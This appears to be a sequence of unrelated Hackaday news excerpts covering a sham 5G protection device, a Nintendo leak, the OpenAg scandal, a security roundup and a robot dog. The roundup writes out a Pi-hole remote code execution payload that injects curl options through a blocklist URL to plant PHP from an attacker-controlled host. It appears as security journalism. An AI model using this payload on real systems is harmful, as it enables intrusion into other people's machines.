As part of an investigation into opposition to 5G mobile phone networks in the English town of Glastonbury the BBC reporter [Rory Cellan-Jones] shared details of a so-called 5G protection device that was advertised as casting a bubble of 5G-free space around its owner. This set [The Quackometer] writing, because as part of his probing into the world of snake-oil, he’s bought just such a unit and subjected it to a teardown.
What he has is a plastic project box with a graphic on top, a switch and green LED on the side, and a battery compartment on its rear. Opening the battery compartment reveals a standard 9 V alkaline cell, but the real interest comes when the cover is removed. There is a copper cylinder with a coil of wire round it, though the wires from the coil to the battery have been cut. The active part of the device is simply a battery powering an LED through a switch, as he puts it the device is a £50 ($61) poor quality torch (flashlight). Of more interest is the copper cylinder, which he identifies as a short piece of copper water pipe with two end caps. He doesn’t open it up, leaving us to expect that whatever mystical component deals with the RF must be concealed within it. This is not the usual Hackaday fare, but we know our readers are fascinated by all new technologies and will provide plenty of speculation as to how it might work in the comments.
The BBC story is worth a read to give a little background. If you are a non-Brit and you have heard of Glastonbury it is probably for the famous summer music festival held on a neighbouring farm, but the town is also famous for its connections with Arthurian legend and in recent decades for having become a centre for New Age mysticism. It has also become something of a hotbed of activism against the spread of 5G mobile networks, and has made the news this week because of concerns over the impartiality of a report condemning the technology released by its local government. If you have an interest in the 5G saga then brace yourselves for this document being used to lend a veneer of official credibility.
We’ve spent a while covering 5G issues, and given that some aspects of the story are shaping up to be a gift to technical journalists that keeps on giving, no doubt we’ll bring you more in due course. Devices such as the one featured here could even supplant audiophile products as a source of technical wonderment!
If you haven’t heard from other websites yet, earlier this year a leak of various Nintendo intellectual properties surfaced on the Internet. This included prototype software dating back to the Game Boy, as well as Verilog files for systems up to the Nintendo 64, GameCube and Wii. This leak seems to have originated from a breach in the BroadOn servers, a small hardware company Nintendo had contracted to make, among other things, the China-only iQue Player.
So, that’s the gist of it out of the way, but what does it all mean? What is the iQue Player? Surely now that a company’s goodies are out in the open, enthusiasts can make use of it and improve their projects, right? Well, no. A lot of things prevent that, and there’s more than enough precedent for it that, to the emulation scene, this was just another Tuesday.
The MIT Media Lab’s Open Agriculture Initiative (OpenAg) promised to revolutionize urban farming with their Food Computers: essentially miniature automated gardens that could be installed in racks to maximize growing space. Each unit would be provided with a “Recipe” that allowed it to maintain the ideal environmental conditions for the species it contained, which meant that even the novice gardener to produce a bumper crop no whether they lived in the Arctic Circle or the Sahara.
With such lofty goals, success certainly wasn’t assured. But we still didn’t expect to hear that the program had to be permanently closed after a string of startling accusations came to light. From engaging in scientific dishonesty to setting off a minor ecological disaster, the story just gets worse and worse. Who could have imagined that one day we’d have to report on an open source project having direct ties to Jeffrey Epstein?
Food Computer v3.0
According to reports, MIT Media Lab Director Joichi Ito and OpenAg principal researcher Caleb Harper attempted to secure $1.5 million in funding for the program during a 2017 meeting with the disgraced financier. Epstein apparently wasn’t impressed by what he saw, and no money ever changed hands. Given the information we now have about the project, this might actually be the least surprising part of the story.
It has since come to light that the Food Computers never worked consistently, and indeed never made it past the prototype stage. This despite the fact that Harper claimed that functional units had already been deployed to refugee camps during presentation to potential investors. A scientist working with the project has even come forward with claims that staff were instructed to place plants brought from local garden centers into the prototype Food Computers prior to tours of the lab so visitors would think they had been grown in the devices.
A former researcher working on the OpenAg program, Babak Babakinejad, also went public with his concerns over the environmental impact of dumping waste water from the Food Computers. The lab had a permit to pump nitrogen-infused water into an underground disposal well, but according to Babakinejad, internal testing showed the nitrogen levels in the water would occasionally top 20 times the stated limit. After his concerns were ignored by Harper and other MIT staff, he eventually took his concerns directly to the Massachusetts Department of Environmental Protection which led to an investigation and ultimately a fine of $25K.
We first covered the Open Agriculture Initiative back in 2016, and readers expressed doubts about the concept even then. While we certainly don’t relish making an update like this about a project we’ve featured, it’s an important reminder that honesty and integrity can’t take a backseat to technical achievement.
Based on a few details from the request for project proposals, it looks like the DoD is targeting mostly companies in this particular solicitation, but have left the door open for academic institutions as well. That makes intuitive sense. Companies can generally operate at a faster pace than most academic research labs. Given the urgency of the matter, faster turnarounds in technological development are imperative. Nonetheless, we have seen quite a bit of important COVID-19 work coming from academic research labs and we imagine that battling this pandemic will take all the brilliant minds we can muster together.
It’s good to see the DoD join the fight in what could be a lengthy battle with the coronavirus.
Augmented reality (AR) in the classroom has garnered a bit of interest over the years, but given the increased need for remote and virtual learning these days, it might be worth taking a closer look at what AR can offer. Purdue University’s C Design Lab thinks they’ve found a solution in their Meta-AR platform. The program allows an instructor to monitor each student’s work in real-time without being in the same classroom as the student. Not only that, but the platform allows students to collaborate in real-time with each other giving each other tips and feedback while also being able to interact with each other’s work, no matter where they may be physically located.
Thunderspy was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.
Inception and PCILeech were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.
Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device. Thunderclap exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.
Image by Björn Ruytenberg. Licensed under CC BY 4.0.
Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.
[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.
It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.
That Time When Facebook Broke Everything
You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.
Large-scale WordPress attack
Nearly a million WordPress sites are under attack, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.
Godaddy Breaches
Godaddy users were recently informed that there was a breach that exposed portions of their accounts to compromise. Notably, the compromise happened back in October of 2019, and wasn’t discovered for 6 months. Godaddy has stated that there wasn’t any evidence of any malicious action beyond the initial compromise, which is puzzling in itself.
On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.
Pi-hole Exploit
A fun RCE exploit was discovered in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set http://192.168.122.1#" -o fun.php -d " as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.
Leaking on Github
[Tillson Galloway] tells the story of how he made $10,000 in bug bounties, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things. vim_settings.xml contains recently copied and pasted strings, and .bash_history contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.
There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github.
Personally, I am a fan of the real thing, but dogs aren’t an option for all. Plus, robotic dogs are easier to train and don’t pee on your couch. If you are looking to adopt a robotic companion, Stanford Pupper might be a good place to start. It’s a new open source project from the Stanford Robotics Student group, a group of robotic hackers from Stanford University. This simple robotic quadruped looks pretty simple to build, but also looks like a great into to four-legged robots.
This is the first version of the design, but it looks pretty complete, built around a carbon fiber and 3D printed frame. The carbon fiber parts have to be cut out on a router, but you can order them pre-cut here, and you might be able to adapt it to easier materials. The Pupper is driven by twelve servos powered from a 5200 mAh 2S LiPo battery and a custom PCB that distributes the power. That means it could run autonomously.
